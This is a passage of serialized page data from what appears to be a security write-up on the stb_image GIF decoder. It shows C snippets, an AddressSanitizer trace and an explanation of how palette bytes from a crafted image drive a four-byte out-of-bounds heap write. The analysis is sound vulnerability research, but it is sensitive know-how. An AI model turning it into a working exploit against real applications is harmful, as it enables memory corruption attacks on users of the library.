g",{"type":22,"tag":101,"props":151458,"children":151459},{"style":120},[151460],{"type":27,"value":17759},{"type":22,"tag":101,"props":151462,"children":151463},{"style":126},[151464],{"type":27,"value":151465},"max_y",{"type":22,"tag":101,"props":151467,"children":151468},{"style":120},[151469],{"type":27,"value":901},{"type":22,"tag":101,"props":151471,"children":151472},{"style":3595},[151473],{"type":27,"value":52454},{"type":22,"tag":101,"props":151475,"children":151476},{"style":120},[151477],{"type":27,"value":1520},{"type":22,"tag":101,"props":151479,"children":151480},{"class":103,"line":1063},[151481],{"type":22,"tag":101,"props":151482,"children":151483},{"emptyLinePlaceholder":15},[151484],{"type":27,"value":1581},{"type":22,"tag":101,"props":151486,"children":151487},{"class":103,"line":1071},[151488,151493,151497,151501,151505,151510,151514,151518,151522,151526],{"type":22,"tag":101,"props":151489,"children":151490},{"style":120},[151491],{"type":27,"value":151492}," idx ",{"type":22,"tag":101,"props":151494,"children":151495},{"style":166},[151496],{"type":27,"value":1511},{"type":22,"tag":101,"props":151498,"children":151499},{"style":126},[151500],{"type":27,"value":151456},{"type":22,"tag":101,"props":151502,"children":151503},{"style":120},[151504],{"type":27,"value":17759},{"type":22,"tag":101,"props":151506,"children":151507},{"style":126},[151508],{"type":27,"value":151509},"cur_x",{"type":22,"tag":101,"props":151511,"children":151512},{"style":166},[151513],{"type":27,"value":3643},{"type":22,"tag":101,"props":151515,"children":151516},{"style":126},[151517],{"type":27,"value":151456},{"type":22,"tag":101,"props":151519,"children":151520},{"style":120},[151521],{"type":27,"value":17759},{"type":22,"tag":101,"props":151523,"children":151524},{"style":126},[151525],{"type":27,"value":151447},{"type":22,"tag":101,"props":151527,"children":151528},{"style":120},[151529],{"type":27,"value":151530},"; \n",{"type":22,"tag":101,"props":151532,"children":151533},{"class":103,"line":1110},[151534,151539,151543,151547,151551,151555,151559],{"type":22,"tag":101,"props":151535,"children":151536},{"style":120},[151537],{"type":27,"value":151538}," p ",{"type":22,"tag":101,"props":151540,"children":151541},{"style":166},[151542],{"type":27,"value":1511},{"type":22,"tag":101,"props":151544,"children":151545},{"style":166},[151546],{"type":27,"value":870},{"type":22,"tag":101,"props":151548,"children":151549},{"style":126},[151550],{"type":27,"value":112805},{"type":22,"tag":101,"props":151552,"children":151553},{"style":120},[151554],{"type":27,"value":17759},{"type":22,"tag":101,"props":151556,"children":151557},{"style":126},[151558],{"type":27,"value":122228},{"type":22,"tag":101,"props":151560,"children":151561},{"style":120},[151562],{"type":27,"value":151563},"[idx];\n",{"type":22,"tag":101,"props":151565,"children":151566},{"class":103,"line":1118},[151567,151572,151576,151581,151586,151590,151594,151598,151602,151606,151610],{"type":22,"tag":101,"props":151568,"children":151569},{"style":126},[151570],{"type":27,"value":151571}," g",{"type":22,"tag":101,"props":151573,"children":151574},{"style":120},[151575],{"type":27,"value":17759},{"type":22,"tag":101,"props":151577,"children":151578},{"style":126},[151579],{"type":27,"value":151580},"history",{"type":22,"tag":101,"props":151582,"children":151583},{"style":120},[151584],{"type":27,"value":151585},"[idx ",{"type":22,"tag":101,"props":151587,"children":151588},{"style":166},[151589],{"type":27,"value":8625},{"type":22,"tag":101,"props":151591,"children":151592},{"style":1544},[151593],{"type":27,"value":15751},{"type":22,"tag":101,"props":151595,"children":151596},{"style":120},[151597],{"type":27,"value":12668},{"type":22,"tag":101,"props":151599,"children":151600},{"style":166},[151601],{"type":27,"value":1511},{"type":22,"tag":101,"props":151603,"children":151604},{"style":1544},[151605],{"type":27,"value":3648},{"type":22,"tag":101,"props":151607,"children":151608},{"style":120},[151609],{"type":27,"value":53070},{"type":22,"tag":101,"props":151611,"children":151612},{"style":2215},[151613],{"type":27,"value":151614}," // OOB write\n",{"type":22,"tag":23,"props":151616,"children":151617},{},[151618,151620,151625,151627,151633,151635,151641],{"type":27,"value":151619},"It’s reasonable to assume ",{"type":22,"tag":30,"props":151621,"children":151623},{"className":151622},[],[151624],{"type":27,"value":80024},{"type":27,"value":151626}," is outside the bounds of ",{"type":22,"tag":30,"props":151628,"children":151630},{"className":151629},[],[151631],{"type":27,"value":151632},"g->history",{"type":27,"value":151634},", which leads to a one-byte OOB write (",{"type":22,"tag":30,"props":151636,"children":151638},{"className":151637},[],[151639],{"type":27,"value":151640},"g->history[idx / 4] = 1",{"type":27,"value":151642},"). That single-byte OOB is hard to exploit remotely, but it was the only corruption observed initially, so we investigated further.",{"type":22,"tag":23,"props":151644,"children":151645},{},[151646,151648,151653,151655,151661,151663,151668,151670,151676,151678,151684],{"type":27,"value":151647},"Because ",{"type":22,"tag":30,"props":151649,"children":151651},{"className":151650},[],[151652],{"type":27,"value":23},{"type":27,"value":151654}," is computed from ",{"type":22,"tag":30,"props":151656,"children":151658},{"className":151657},[],[151659],{"type":27,"value":151660},"g->out[idx]",{"type":27,"value":151662}," immediately before the violation, we considered whether ",{"type":22,"tag":30,"props":151664,"children":151666},{"className":151665},[],[151667],{"type":27,"value":80024},{"type":27,"value":151669}," could also be OOB for ",{"type":22,"tag":30,"props":151671,"children":151673},{"className":151672},[],[151674],{"type":27,"value":151675},"g->out",{"type":27,"value":151677},". Note that computing the address ",{"type":22,"tag":30,"props":151679,"children":151681},{"className":151680},[],[151682],{"type":27,"value":151683},"&g->out[idx]",{"type":27,"value":151685}," does not itself access the memory, so ASAN wouldn’t flag it.",{"type":22,"tag":23,"props":151687,"children":151688},{},[151689,151691,151696],{"type":27,"value":151690},"If we comment out ",{"type":22,"tag":30,"props":151692,"children":151694},{"className":151693},[],[151695],{"type":27,"value":151640},{"type":27,"value":151697}," and re-run the fuzzing input, ASAN reports another violation in the same function at a different line:",{"type":22,"tag":91,"props":151699,"children":151701},{"code":151700},"=================================================================\n==8578==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x7f0fe6e6c800 thread T0\n #0 0x5d54e32a4315 in stbi__out_gif_code stb/stb_image.h:6237\n [...]\n",[151702],{"type":22,"tag":30,"props":151703,"children":151704},{"__ignoreMap":7},[151705],{"type":27,"value":151700},{"type":22,"tag":23,"props":151707,"children":151708},{},[151709],{"type":27,"value":151710},"This corresponds to:",{"type":22,"tag":91,"props":151712,"children":151714},{"code":151713,"language":7187,"meta":7,"className":20513,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n [...]\n\n idx = g->cur_x + g->cur_y; \n p = &g->out[idx];\n g->history[idx / 4] = 1; \n\n c = &g->color_table[g->codes[code].suffix * 4];\n if (c[3] > 128) {\n p[0] = c[2]; // OOB write\n p[1] = c[1];\n p[2] = c[0];\n p[3] = c[3];\n }\n",[151715],{"type":22,"tag":30,"props":151716,"children":151717},{"__ignoreMap":7},[151718,151757,151764,151771,151778,151821,151852,151896,151903,151971,152011,152056,152095,152134,152173],{"type":22,"tag":101,"props":151719,"children":151720},{"class":103,"line":104},[151721,151725,151729,151733,151737,151741,151745,151749,151753],{"type":22,"tag":101,"props":151722,"children":151723},{"style":108},[151724],{"type":27,"value":55040},{"type":22,"tag":101,"props":151726,"children":151727},{"style":108},[151728],{"type":27,"value":55045},{"type":22,"tag":101,"props":151730,"children":151731},{"style":926},[151732],{"type":27,"value":151329},{"type":22,"tag":101,"props":151734,"children":151735},{"style":120},[151736],{"type":27,"value":151334},{"type":22,"tag":101,"props":151738,"children":151739},{"style":166},[151740],{"type":27,"value":8615},{"type":22,"tag":101,"props":151742,"children":151743},{"style":126},[151744],{"type":27,"value":112805},{"type":22,"tag":101,"props":151746,"children":151747},{"style":120},[151748],{"type":27,"value":151347},{"type":22,"tag":101,"props":151750,"children":151751},{"style":126},[151752],{"type":27,"value":30},{"type":22,"tag":101,"props":151754,"children":151755},{"style":120},[151756],{"type":27,"value":2510},{"type":22,"tag":101,"props":151758,"children":151759},{"class":103,"line":157},[151760],{"type":22,"tag":101,"props":151761,"children":151762},{"style":120},[151763],{"type":27,"value":14886},{"type":22,"tag":101,"props":151765,"children":151766},{"class":103,"line":182},[151767],{"type":22,"tag":101,"props":151768,"children":151769},{"style":120},[151770],{"type":27,"value":151416},{"type":22,"tag":101,"props":151772,"children":151773},{"class":103,"line":367},[151774],{"type":22,"tag":101,"props":151775,"children":151776},{"emptyLinePlaceholder":15},[151777],{"type":27,"value":1581},{"type":22,"tag":101,"props":151779,"children":151780},{"class":103,"line":398},[151781,151785,151789,151793,151797,151801,151805,151809,151813,151817],{"type":22,"tag":101,"props":151782,"children":151783},{"style":120},[151784],{"type":27,"value":151492},{"type":22,"tag":101,"props":151786,"children":151787},{"style":166},[151788],{"type":27,"value":1511},{"type":22,"tag":101,"props":151790,"children":151791},{"style":126},[151792],{"type":27,"value":151456},{"type":22,"tag":101,"props":151794,"children":151795},{"style":120},[151796],{"type":27,"value":17759},{"type":22,"tag":101,"props":151798,"children":151799},{"style":126},[151800],{"type":27,"value":151509},{"type":22,"tag":101,"props":151802,"children":151803},{"style":166},[151804],{"type":27,"value":3643},{"type":22,"tag":101,"props":151806,"children":151807},{"style":126},[151808],{"type":27,"value":151456},{"type":22,"tag":101,"props":151810,"children":151811},{"style":120},[151812],{"type":27,"value":17759},{"type":22,"tag":101,"props":151814,"children":151815},{"style":126},[151816],{"type":27,"value":151447},{"type":22,"tag":101,"props":151818,"children":151819},{"style":120},[151820],{"type":27,"value":151530},{"type":22,"tag":101,"props":151822,"children":151823},{"class":103,"line":428},[151824,151828,151832,151836,151840,151844,151848],{"type":22,"tag":101,"props":151825,"children":151826},{"style":120},[151827],{"type":27,"value":151538},{"type":22,"tag":101,"props":151829,"children":151830},{"style":166},[151831],{"type":27,"value":1511},{"type":22,"tag":101,"props":151833,"children":151834},{"style":166},[151835],{"type":27,"value":870},{"type":22,"tag":101,"props":151837,"children":151838},{"style":126},[151839],{"type":27,"value":112805},{"type":22,"tag":101,"props":151841,"children":151842},{"style":120},[151843],{"type":27,"value":17759},{"type":22,"tag":101,"props":151845,"children":151846},{"style":126},[151847],{"type":27,"value":122228},{"type":22,"tag":101,"props":151849,"children":151850},{"style":120},[151851],{"type":27,"value":151563},{"type":22,"tag":101,"props":151853,"children":151854},{"class":103,"line":997},[151855,151859,151863,151867,151871,151875,151879,151883,151887,151891],{"type":22,"tag":101,"props":151856,"children":151857},{"style":126},[151858],{"type":27,"value":151571},{"type":22,"tag":101,"props":151860,"children":151861},{"style":120},[151862],{"type":27,"value":17759},{"type":22,"tag":101,"props":151864,"children":151865},{"style":126},[151866],{"type":27,"value":151580},{"type":22,"tag":101,"props":151868,"children":151869},{"style":120},[151870],{"type":27,"value":151585},{"type":22,"tag":101,"props":151872,"children":151873},{"style":166},[151874],{"type":27,"value":8625},{"type":22,"tag":101,"props":151876,"children":151877},{"style":1544},[151878],{"type":27,"value":15751},{"type":22,"tag":101,"props":151880,"children":151881},{"style":120},[151882],{"type":27,"value":12668},{"type":22,"tag":101,"props":151884,"children":151885},{"style":166},[151886],{"type":27,"value":1511},{"type":22,"tag":101,"props":151888,"children":151889},{"style":1544},[151890],{"type":27,"value":3648},{"type":22,"tag":101,"props":151892,"children":151893},{"style":120},[151894],{"type":27,"value":151895},"; \n",{"type":22,"tag":101,"props":151897,"children":151898},{"class":103,"line":1032},[151899],{"type":22,"tag":101,"props":151900,"children":151901},{"emptyLinePlaceholder":15},[151902],{"type":27,"value":1581},{"type":22,"tag":101,"props":151904,"children":151905},{"class":103,"line":1063},[151906,151911,151915,151919,151923,151927,151932,151936,151940,151944,151949,151954,151959,151963,151967],{"type":22,"tag":101,"props":151907,"children":151908},{"style":120},[151909],{"type":27,"value":151910}," c ",{"type":22,"tag":101,"props":151912,"children":151913},{"style":166},[151914],{"type":27,"value":1511},{"type":22,"tag":101,"props":151916,"children":151917},{"style":166},[151918],{"type":27,"value":870},{"type":22,"tag":101,"props":151920,"children":151921},{"style":126},[151922],{"type":27,"value":112805},{"type":22,"tag":101,"props":151924,"children":151925},{"style":120},[151926],{"type":27,"value":17759},{"type":22,"tag":101,"props":151928,"children":151929},{"style":126},[151930],{"type":27,"value":151931},"color_table",{"type":22,"tag":101,"props":151933,"children":151934},{"style":120},[151935],{"type":27,"value":2414},{"type":22,"tag":101,"props":151937,"children":151938},{"style":126},[151939],{"type":27,"value":112805},{"type":22,"tag":101,"props":151941,"children":151942},{"style":120},[151943],{"type":27,"value":17759},{"type":22,"tag":101,"props":151945,"children":151946},{"style":126},[151947],{"type":27,"value":151948},"codes",{"type":22,"tag":101,"props":151950,"children":151951},{"style":120},[151952],{"type":27,"value":151953},"[code].",{"type":22,"tag":101,"props":151955,"children":151956},{"style":126},[151957],{"type":27,"value":151958},"suffix",{"type":22,"tag":101,"props":151960,"children":151961},{"style":166},[151962],{"type":27,"value":13822},{"type":22,"tag":101,"props":151964,"children":151965},{"style":1544},[151966],{"type":27,"value":15751},{"type":22,"tag":101,"props":151968,"children":151969},{"style":120},[151970],{"type":27,"value":35570},{"type":22,"tag":101,"props":151972,"children":151973},{"class":103,"line":1071},[151974,151978,151982,151986,151990,151994,151998,152002,152007],{"type":22,"tag":101,"props":151975,"children":151976},{"style":3595},[151977],{"type":27,"value":56640},{"type":22,"tag":101,"props":151979,"children":151980},{"style":120},[151981],{"type":27,"value":3603},{"type":22,"tag":101,"props":151983,"children":151984},{"style":126},[151985],{"type":27,"value":7187},{"type":22,"tag":101,"props":151987,"children":151988},{"style":120},[151989],{"type":27,"value":2414},{"type":22,"tag":101,"props":151991,"children":151992},{"style":1544},[151993],{"type":27,"value":21293},{"type":22,"tag":101,"props":151995,"children":151996},{"style":120},[151997],{"type":27,"value":12668},{"type":22,"tag":101,"props":151999,"children":152000},{"style":166},[152001],{"type":27,"value":14467},{"type":22,"tag":101,"props":152003,"children":152004},{"style":1544},[152005],{"type":27,"value":152006}," 128",{"type":22,"tag":101,"props":152008,"children":152009},{"style":120},[152010],{"type":27,"value":1463},{"type":22,"tag":101,"props":152012,"children":152013},{"class":103,"line":1110},[152014,152019,152023,152027,152031,152035,152039,152043,152047,152051],{"type":22,"tag":101,"props":152015,"children":152016},{"style":126},[152017],{"type":27,"value":152018}," p",{"type":22,"tag":101,"props":152020,"children":152021},{"style":120},[152022],{"type":27,"value":2414},{"type":22,"tag":101,"props":152024,"children":152025},{"style":1544},[152026],{"type":27,"value":8065},{"type":22,"tag":101,"props":152028,"children":152029},{"style":120},[152030],{"type":27,"value":12668},{"type":22,"tag":101,"props":152032,"children":152033},{"style":166},[152034],{"type":27,"value":1511},{"type":22,"tag":101,"props":152036,"children":152037},{"style":126},[152038],{"type":27,"value":41441},{"type":22,"tag":101,"props":152040,"children":152041},{"style":120},[152042],{"type":27,"value":2414},{"type":22,"tag":101,"props":152044,"children":152045},{"style":1544},[152046],{"type":27,"value":7164},{"type":22,"tag":101,"props":152048,"children":152049},{"style":120},[152050],{"type":27,"value":59908},{"type":22,"tag":101,"props":152052,"children":152053},{"style":2215},[152054],{"type":27,"value":152055}," // OOB write\n",{"type":22,"tag":101,"props":152057,"children":152058},{"class":103,"line":1118},[152059,152063,152067,152071,152075,152079,152083,152087,152091],{"type":22,"tag":101,"props":152060,"children":152061},{"style":126},[152062],{"type":27,"value":152018},{"type":22,"tag":101,"props":152064,"children":152065},{"style":120},[152066],{"type":27,"value":2414},{"type":22,"tag":101,"props":152068,"children":152069},{"style":1544},[152070],{"type":27,"value":6813},{"type":22,"tag":101,"props":152072,"children":152073},{"style":120},[152074],{"type":27,"value":12668},{"type":22,"tag":101,"props":152076,"children":152077},{"style":166},[152078],{"type":27,"value":1511},{"type":22,"tag":101,"props":152080,"children":152081},{"style":126},[152082],{"type":27,"value":41441},{"type":22,"tag":101,"props":152084,"children":152085},{"style":120},[152086],{"type":27,"value":2414},{"type":22,"tag":101,"props":152088,"children":152089},{"style":1544},[152090],{"type":27,"value":6813},{"type":22,"tag":101,"props":152092,"children":152093},{"style":120},[152094],{"type":27,"value":35570},{"type":22,"tag":101,"props":152096,"children":152097},{"class":103,"line":1158},[152098,152102,152106,152110,152114,152118,152122,152126,152130],{"type":22,"tag":101,"props":152099,"children":152100},{"style":126},[152101],{"type":27,"value":152018},{"type":22,"tag":101,"props":152103,"children":152104},{"style":120},[152105],{"type":27,"value":2414},{"type":22,"tag":101,"props":152107,"children":152108},{"style":1544},[152109],{"type":27,"value":7164},{"type":22,"tag":101,"props":152111,"children":152112},{"style":120},[152113],{"type":27,"value":12668},{"type":22,"tag":101,"props":152115,"children":152116},{"style":166},[152117],{"type":27,"value":1511},{"type":22,"tag":101,"props":152119,"children":152120},{"style":126},[152121],{"type":27,"value":41441},{"type":22,"tag":101,"props":152123,"children":152124},{"style":120},[152125],{"type":27,"value":2414},{"type":22,"tag":101,"props":152127,"children":152128},{"style":1544},[152129],{"type":27,"value":8065},{"type":22,"tag":101,"props":152131,"children":152132},{"style":120},[152133],{"type":27,"value":35570},{"type":22,"tag":101,"props":152135,"children":152136},{"class":103,"line":1166},[152137,152141,152145,152149,152153,152157,152161,152165,152169],{"type":22,"tag":101,"props":152138,"children":152139},{"style":126},[152140],{"type":27,"value":152018},{"type":22,"tag":101,"props":152142,"children":152143},{"style":120},[152144],{"type":27,"value":2414},{"type":22,"tag":101,"props":152146,"children":152147},{"style":1544},[152148],{"type":27,"value":21293},{"type":22,"tag":101,"props":152150,"children":152151},{"style":120},[152152],{"type":27,"value":12668},{"type":22,"tag":101,"props":152154,"children":152155},{"style":166},[152156],{"type":27,"value":1511},{"type":22,"tag":101,"props":152158,"children":152159},{"style":126},[152160],{"type":27,"value":41441},{"type":22,"tag":101,"props":152162,"children":152163},{"style":120},[152164],{"type":27,"value":2414},{"type":22,"tag":101,"props":152166,"children":152167},{"style":1544},[152168],{"type":27,"value":21293},{"type":22,"tag":101,"props":152170,"children":152171},{"style":120},[152172],{"type":27,"value":35570},{"type":22,"tag":101,"props":152174,"children":152175},{"class":103,"line":1215},[152176],{"type":22,"tag":101,"props":152177,"children":152178},{"style":120},[152179],{"type":27,"value":38744},{"type":22,"tag":23,"props":152181,"children":152182},{},[152183,152185,152190,152192,152197],{"type":27,"value":152184},"This confirms ",{"type":22,"tag":30,"props":152186,"children":152188},{"className":152187},[],[152189],{"type":27,"value":80024},{"type":27,"value":152191}," is OOB for ",{"type":22,"tag":30,"props":152193,"children":152195},{"className":152194},[],[152196],{"type":27,"value":151675},{"type":27,"value":152198}," as well - here it results in a four-byte OOB write. A four-byte OOB write is still not trivial to exploit remotely, but it is meaningfully more dangerous than a single-byte OOB.",{"type":22,"tag":23,"props":152200,"children":152201},{},[152202,152204,152210,152212,152219],{"type":27,"value":152203},"We've read through the GIF parsing code to find out if the written values can be controlled, and found that ",{"type":22,"tag":30,"props":152205,"children":152207},{"className":152206},[],[152208],{"type":27,"value":152209},"g->color_table",{"type":27,"value":152211}," is populated by ",{"type":22,"tag":80,"props":152213,"children":152216},{"href":152214,"rel":152215},"https://github.com/nothings/stb/blob/f1f077b2722f55e158cba020f0312ee2d13c463a/stb_image.h#L6166-L6175",[84],[152217],{"type":27,"value":152218},"stbi__gif_parse_colortable",{"type":27,"value":169},{"type":22,"tag":91,"props":152221,"children":152223},{"code":152222,"language":7187,"meta":7,"className":20513,"style":7},"static void stbi__gif_parse_colortable(\n stbi__context *s,\n stbi_uc pal[256][4], // g->color_table\n int num_entries,\n int transp\n) {\n int i;\n for (i=0; i \u003C num_entries; ++i) {\n pal[i][2] = stbi__get8(s);\n pal[i][1] = stbi__get8(s);\n pal[i][0] = stbi__get8(s);\n pal[i][3] = transp == i ? 0 : 255;\n }\n}\n",[152224],{"type":22,"tag":30,"props":152225,"children":152226},{"__ignoreMap":7},[152227,152247,152267,152306,152322,152334,152341,152352,152395,152429,152460,152491,152548,152555],{"type":22,"tag":101,"props":152228,"children":152229},{"class":103,"line":104},[152230,152234,152238,152243],{"type":22,"tag":101,"props":152231,"children":152232},{"style":108},[152233],{"type":27,"value":55040},{"type":22,"tag":101,"props":152235,"children":152236},{"style":108},[152237],{"type":27,"value":55045},{"type":22,"tag":101,"props":152239,"children":152240},{"style":926},[152241],{"type":27,"value":152242}," stbi__gif_parse_colortable",{"type":22,"tag":101,"props":152244,"children":152245},{"style":120},[152246],{"type":27,"value":1850},{"type":22,"tag":101,"props":152248,"children":152249},{"class":103,"line":157},[152250,152255,152259,152263],{"type":22,"tag":101,"props":152251,"children":152252},{"style":120},[152253],{"type":27,"value":152254}," stbi__context ",{"type":22,"tag":101,"props":152256,"children":152257},{"style":166},[152258],{"type":27,"value":8615},{"type":22,"tag":101,"props":152260,"children":152261},{"style":126},[152262],{"type":27,"value":14657},{"type":22,"tag":101,"props":152264,"children":152265},{"style":120},[152266],{"type":27,"value":179},{"type":22,"tag":101,"props":152268,"children":152269},{"class":103,"line":182},[152270,152275,152280,152284,152288,152292,152296,152301],{"type":22,"tag":101,"props":152271,"children":152272},{"style":120},[152273],{"type":27,"value":152274}," stbi_uc ",{"type":22,"tag":101,"props":152276,"children":152277},{"style":126},[152278],{"type":27,"value":152279},"pal",{"type":22,"tag":101,"props":152281,"children":152282},{"style":120},[152283],{"type":27,"value":2414},{"type":22,"tag":101,"props":152285,"children":152286},{"style":1544},[152287],{"type":27,"value":96802},{"type":22,"tag":101,"props":152289,"children":152290},{"style":120},[152291],{"type":27,"value":52954},{"type":22,"tag":101,"props":152293,"children":152294},{"style":1544},[152295],{"type":27,"value":21526},{"type":22,"tag":101,"props":152297,"children":152298},{"style":120},[152299],{"type":27,"value":152300},"],",{"type":22,"tag":101,"props":152302,"children":152303},{"style":2215},[152304],{"type":27,"value":152305}," // g->color_table\n",{"type":22,"tag":101,"props":152307,"children":152308},{"class":103,"line":367},[152309,152313,152318],{"type":22,"tag":101,"props":152310,"children":152311},{"style":108},[152312],{"type":27,"value":23067},{"type":22,"tag":101,"props":152314,"children":152315},{"style":126},[152316],{"type":27,"value":152317}," num_entries",{"type":22,"tag":101,"props":152319,"children":152320},{"style":120},[152321],{"type":27,"value":179},{"type":22,"tag":101,"props":152323,"children":152324},{"class":103,"line":398},[152325,152329],{"type":22,"tag":101,"props":152326,"children":152327},{"style":108},[152328],{"type":27,"value":23067},{"type":22,"tag":101,"props":152330,"children":152331},{"style":120},[152332],{"type":27,"value":152333}," transp\n",{"type":22,"tag":101,"props":152335,"children":152336},{"class":103,"line":428},[152337],{"type":22,"tag":101,"props":152338,"children":152339},{"style":120},[152340],{"type":27,"value":1463},{"type":22,"tag":101,"props":152342,"children":152343},{"class":103,"line":997},[152344,152348],{"type":22,"tag":101,"props":152345,"children":152346},{"style":108},[152347],{"type":27,"value":151396},{"type":22,"tag":101,"props":152349,"children":152350},{"style":120},[152351],{"type":27,"value":61961},{"type":22,"tag":101,"props":152353,"children":152354},{"class":103,"line":1032},[152355,152360,152365,152369,152373,152377,152381,152386,152390],{"type":22,"tag":101,"props":152356,"children":152357},{"style":3595},[152358],{"type":27,"value":152359}," for",{"type":22,"tag":101,"props":152361,"children":152362},{"style":120},[152363],{"type":27,"value":152364}," (i",{"type":22,"tag":101,"props":152366,"children":152367},{"style":166},[152368],{"type":27,"value":1511},{"type":22,"tag":101,"props":152370,"children":152371},{"style":1544},[152372],{"type":27,"value":8065},{"type":22,"tag":101,"props":152374,"children":152375},{"style":120},[152376],{"type":27,"value":55229},{"type":22,"tag":101,"props":152378,"children":152379},{"style":166},[152380],{"type":27,"value":123},{"type":22,"tag":101,"props":152382,"children":152383},{"style":120},[152384],{"type":27,"value":152385}," num_entries; ",{"type":22,"tag":101,"props":152387,"children":152388},{"style":166},[152389],{"type":27,"value":55265},{"type":22,"tag":101,"props":152391,"children":152392},{"style":120},[152393],{"type":27,"value":152394},"i) {\n",{"type":22,"tag":101,"props":152396,"children":152397},{"class":103,"line":1063},[152398,152403,152407,152411,152415,152419,152424],{"type":22,"tag":101,"props":152399,"children":152400},{"style":126},[152401],{"type":27,"value":152402}," pal",{"type":22,"tag":101,"props":152404,"children":152405},{"style":120},[152406],{"type":27,"value":64652},{"type":22,"tag":101,"props":152408,"children":152409},{"style":1544},[152410],{"type":27,"value":7164},{"type":22,"tag":101,"props":152412,"children":152413},{"style":120},[152414],{"type":27,"value":12668},{"type":22,"tag":101,"props":152416,"children":152417},{"style":166},[152418],{"type":27,"value":1511},{"type":22,"tag":101,"props":152420,"children":152421},{"style":926},[152422],{"type":27,"value":152423}," stbi__get8",{"type":22,"tag":101,"props":152425,"children":152426},{"style":120},[152427],{"type":27,"value":152428},"(s);\n",{"type":22,"tag":101,"props":152430,"children":152431},{"class":103,"line":1071},[152432,152436,152440,152444,152448,152452,152456],{"type":22,"tag":101,"props":152433,"children":152434},{"style":126},[152435],{"type":27,"value":152402},{"type":22,"tag":101,"props":152437,"children":152438},{"style":120},[152439],{"type":27,"value":64652},{"type":22,"tag":101,"props":152441,"children":152442},{"style":1544},[152443],{"type":27,"value":6813},{"type":22,"tag":101,"props":152445,"children":152446},{"style":120},[152447],{"type":27,"value":12668},{"type":22,"tag":101,"props":152449,"children":152450},{"style":166},[152451],{"type":27,"value":1511},{"type":22,"tag":101,"props":152453,"children":152454},{"style":926},[152455],{"type":27,"value":152423},{"type":22,"tag":101,"props":152457,"children":152458},{"style":120},[152459],{"type":27,"value":152428},{"type":22,"tag":101,"props":152461,"children":152462},{"class":103,"line":1110},[152463,152467,152471,152475,152479,152483,152487],{"type":22,"tag":101,"props":152464,"children":152465},{"style":126},[152466],{"type":27,"value":152402},{"type":22,"tag":101,"props":152468,"children":152469},{"style":120},[152470],{"type":27,"value":64652},{"type":22,"tag":101,"props":152472,"children":152473},{"style":1544},[152474],{"type":27,"value":8065},{"type":22,"tag":101,"props":152476,"children":152477},{"style":120},[152478],{"type":27,"value":12668},{"type":22,"tag":101,"props":152480,"children":152481},{"style":166},[152482],{"type":27,"value":1511},{"type":22,"tag":101,"props":152484,"children":152485},{"style":926},[152486],{"type":27,"value":152423},{"type":22,"tag":101,"props":152488,"children":152489},{"style":120},[152490],{"type":27,"value":152428},{"type":22,"tag":101,"props":152492,"children":152493},{"class":103,"line":1118},[152494,152498,152502,152506,152510,152514,152519,152523,152527,152531,152535,152539,152544],{"type":22,"tag":101,"props":152495,"children":152496},{"style":126},[152497],{"type":27,"value":152402},{"type":22,"tag":101,"props":152499,"children":152500},{"style":120},[152501],{"type":27,"value":64652},{"type":22,"tag":101,"props":152503,"children":152504},{"style":1544},[152505],{"type":27,"value":21293},{"type":22,"tag":101,"props":152507,"children":152508},{"style":120},[152509],{"type":27,"value":12668},{"type":22,"tag":101,"props":152511,"children":152512},{"style":166},[152513],{"type":27,"value":1511},{"type":22,"tag":101,"props":152515,"children":152516},{"style":120},[152517],{"type":27,"value":152518}," transp ",{"type":22,"tag":101,"props":152520,"children":152521},{"style":166},[152522],{"type":27,"value":4340},{"type":22,"tag":101,"props":152524,"children":152525},{"style":120},[152526],{"type":27,"value":58540},{"type":22,"tag":101,"props":152528,"children":152529},{"style":166},[152530],{"type":27,"value":5455},{"type":22,"tag":101,"props":152532,"children":152533},{"style":1544},[152534],{"type":27,"value":1547},{"type":22,"tag":101,"props":152536,"children":152537},{"style":166},[152538],{"type":27,"value":39112},{"type":22,"tag":101,"props":152540,"children":152541},{"style":1544},[152542],{"type":27,"value":152543}," 255",{"type":22,"tag":101,"props":152545,"children":152546},{"style":120},[152547],{"type":27,"value":1520},{"type":22,"tag":101,"props":152549,"children":152550},{"class":103,"line":1158},[152551],{"type":22,"tag":101,"props":152552,"children":152553},{"style":120},[152554],{"type":27,"value":38744},{"type":22,"tag":101,"props":152556,"children":152557},{"class":103,"line":1166},[152558],{"type":22,"tag":101,"props":152559,"children":152560},{"style":120},[152561],{"type":27,"value":188},{"type":22,"tag":23,"props":152563,"children":152564},{},[152565,152567,152572,152573,152578,152580,152585],{"type":27,"value":152566},"The first three bytes are read from the input image, while the last byte can be either ",{"type":22,"tag":30,"props":152568,"children":152570},{"className":152569},[],[152571],{"type":27,"value":8065},{"type":27,"value":17136},{"type":22,"tag":30,"props":152574,"children":152576},{"className":152575},[],[152577],{"type":27,"value":116850},{"type":27,"value":152579},". But as we've seen previously, the OOB write only happens if the last byte is more than ",{"type":22,"tag":30,"props":152581,"children":152583},{"className":152582},[],[152584],{"type":27,"value":33844},{"type":27,"value":169},{"type":22,"tag":91,"props":152587,"children":152589},{"code":152588,"language":7187,"meta":7,"className":20513,"style":7}," c = &g->color_table[g->codes[code].suffix * 4];\n if (c[3] > 128) {\n p[0] = c[2];\n p[1] = c[1];\n p[2] = c[0];\n p[3] = c[3];\n }\n",[152590],{"type":22,"tag":30,"props":152591,"children":152592},{"__ignoreMap":7},[152593,152656,152695,152734,152773,152812,152851],{"type":22,"tag":101,"props":152594,"children":152595},{"class":103,"line":104},[152596,152600,152604,152608,152612,152616,152620,152624,152628,152632,152636,152640,152644,152648,152652],{"type":22,"tag":101,"props":152597,"children":152598},{"style":120},[152599],{"type":27,"value":151910},{"type":22,"tag":101,"props":152601,"children":152602},{"style":166},[152603],{"type":27,"value":1511},{"type":22,"tag":101,"props":152605,"children":152606},{"style":166},[152607],{"type":27,"value":870},{"type":22,"tag":101,"props":152609,"children":152610},{"style":120},[152611],{"type":27,"value":112805},{"type":22,"tag":101,"props":152613,"children":152614},{"style":166},[152615],{"type":27,"value":17759},{"type":22,"tag":101,"props":152617,"children":152618},{"style":126},[152619],{"type":27,"value":151931},{"type":22,"tag":101,"props":152621,"children":152622},{"style":120},[152623],{"type":27,"value":2414},{"type":22,"tag":101,"props":152625,"children":152626},{"style":126},[152627],{"type":27,"value":112805},{"type":22,"tag":101,"props":152629,"children":152630},{"style":120},[152631],{"type":27,"value":17759},{"type":22,"tag":101,"props":152633,"children":152634},{"style":126},[152635],{"type":27,"value":151948},{"type":22,"tag":101,"props":152637,"children":152638},{"style":120},[152639],{"type":2